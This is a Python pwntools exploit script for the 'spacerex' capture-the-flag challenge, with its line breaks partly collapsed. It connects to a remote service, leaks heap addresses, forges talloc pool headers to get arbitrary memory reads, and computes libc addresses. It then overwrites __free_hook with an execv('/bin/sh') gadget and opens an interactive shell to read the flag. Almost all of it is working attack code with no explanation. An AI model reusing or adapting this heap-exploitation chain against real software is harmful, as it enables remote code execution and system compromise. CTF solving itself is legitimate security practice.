# 1. Leak heap address with star compositions tables# 2. Create new moon with fake pool header# 3. Create planet using fake pool header# 4. Corrupt planet to read anywhere# 5. Use pool header to write libc's __free_hook to magic execv(/bin/sh) address
from pwn import *#s = process(['./spacerex', '99999'])s = remote('spacerex.bostonkey.party', 6666)s.recvuntil('__')
####### Leak dataimport reimport struct
TALLOC_SZ = 12*8
def parse_composition(inp):    data = ''    for l in inp.split('\n'):        for c in re.split('[\s%]+', l)[1:]:            if not c:                continue            data += chr(int(c))    return data
# Create stars.sendline('1')s.sendline('SA_Name')s.sendline('0')s.sendline('10000')s.sendline('1')# Create planets.sendline('PAA_Name')s.sendline('PAA_Const')s.sendline('1')s.sendline('3735928559')s.sendline('1')s.sendline('10000')s.sendline('0')s.sendline('0')s.sendline('0')s.sendline('0')s.sendline('0')s.sendline('0')s.sendline('0')s.sendline('0')s.sendline('100')s.sendline('M')s.sendline('1')s.sendline('1')s.sendline('MAAA')s.recvuntil('__')
s.sendline('1')s.sendline('/bin/sh')s.sendline('0')s.sendline('10000')s.sendline('0')s.recvuntil('__')
# Leak datas.sendline('6')s.sendline('SA_Name')s.sendline('5')s.sendline('-1')s.recvuntil('-----\n')types = s.recvuntil('-----\n').strip()s.sendline('y')s.recvuntil('------\n')composition = s.recvuntil('\n\n').strip()s.recvuntil('__')
leak = parse_composition(composition)magnitude_off = leak.index(struct.pack('d', 0xdeadbeef))moon0_off = magnitude_off + 0x30moon_addr = u64(leak[moon0_off:moon0_off+8])planet_name_addr = moon_addr + (        leak.index('PAA_Name') - leak.index('MAAA')) + 0x8planet_addr = moon_addr + (        magnitude_off - leak.index('MAAA')) - 0x18star_name_addr = moon_addr + (        leak.index('/bin/sh') - leak.index('MAAA')) + 0x8print 'Star name addr: ', hex(planet_name_addr)print 'Planet name addr: ', hex(planet_name_addr)print 'Planet addr: ', hex(planet_addr)print 'Moon addr: ', hex(moon_addr)
# New planet with pool to fake chunks.sendline('6')s.sendline('PAB_Name')s.sendline('PAB_Const')s.sendline('1')s.sendline('1')s.sendline('1')s.sendline('10000')s.sendline('1')s.sendline('100')s.sendline('0')s.sendline('0')s.sendline('0')s.sendline('0')s.sendline('0')s.sendline('0')s.sendline('0')s.sendline('R')s.sendline(str(moon_addr+0x70))s.recvuntil('__')
# Create fake chunkdef set_pool(addr):    s.sendline('4')    s.sendline('PAA_Name')    s.sendline('MAAA')    s.sendline('0')    chunk = 'MAAA\x00\x00\x00\x00'    #[Next|Prev|Parent|Child|refs|dtors|name|size|flag|limit|pool]    chunk += p64(0) # Next    chunk += p64(0) # Prev    chunk += p64(0) # Parent    chunk += p64(0) # Child    chunk += p64(0) # Refs    chunk += p64(0) # Dtors    chunk += p64(0) # Name    chunk += p64(0) # Size    chunk += p64(0xe814ec70 + (2<<12) | 8) # Flag    chunk += p64(0) # Limit    chunk += p64(moon_addr + 0x68) # Pool
    chunk += p64(addr) # end    chunk += p64(0) # object_count    chunk += p64(0xffffffff) # poolsize    s.sendline(chunk)    s.recvuntil('__')
def set_fakemoon(data):    s.sendline('3')    s.sendline('PAB_Name')    s.sendline('0')    s.sendline(data)
def get_planet_name(n):    s.sendline('7')    s.recvuntil('system -\n')    d = s.recvuntil('\n\n')    s.recvuntil('__')    return d[2:].split('POOP\x1b[0m ')[0]
print hex(moon_addr)fake_moon = 'MABA\x00\x00\x00\x00' + p64(planet_name_addr) + \              'POOP\x00\x00\x00\x00' + p64(planet_addr+8)set_pool(planet_addr - TALLOC_SZ - 0x10)set_fakemoon(fake_moon + p64(planet_addr + 8))s.recvuntil('__')
@memleak.MemLeakdef leak(addr):    if '\n' in p64(addr):        print 'Danger!'        return ''    s.sendline('4')    s.sendline('PAB_Name')    s.sendline('MABA')    s.sendline('0')    payload = fake_moon + p64(addr)    payload += '\x00' * (0x58 - len(payload)) + p64(moon_addr)    s.sendline(payload)    s.recvuntil('__')
    data = get_planet_name(0)    if len(data) > 4:        return data + '\x00' * (8-len(data))    else:        return data + '\x00'
alarm = 0xc0cd0target = 0xE58C5
star = star_name_addr + 0x190 - TALLOC_SZ - 0x280print hex(star)color = leak.q(star+TALLOC_SZ+0x38)base = color - 0x40C0print 'Base addr:', hex(base)talloc = leak.q(base + 0x0205FB0) - 0x1E20print 'talloc addr:', hex(talloc)libc = leak.q(base + 0x205F78) - alarmprint 'libc addr:', hex(libc)system = libc + targetlibc_freehook = libc + 0x3C0A10 - 0x10print 'hook', hex(libc_freehook)
set_pool(libc_freehook - TALLOC_SZ - 8)set_fakemoon('\x00'*16+p64(system))s.recvuntil('__')
s.sendline('2')#gdb.attach(s, execute='b *'+hex(system))s.sendline('PAB_Name')sleep(0.5)s.sendline('cat /home/spacerex/flag')s.interactive()
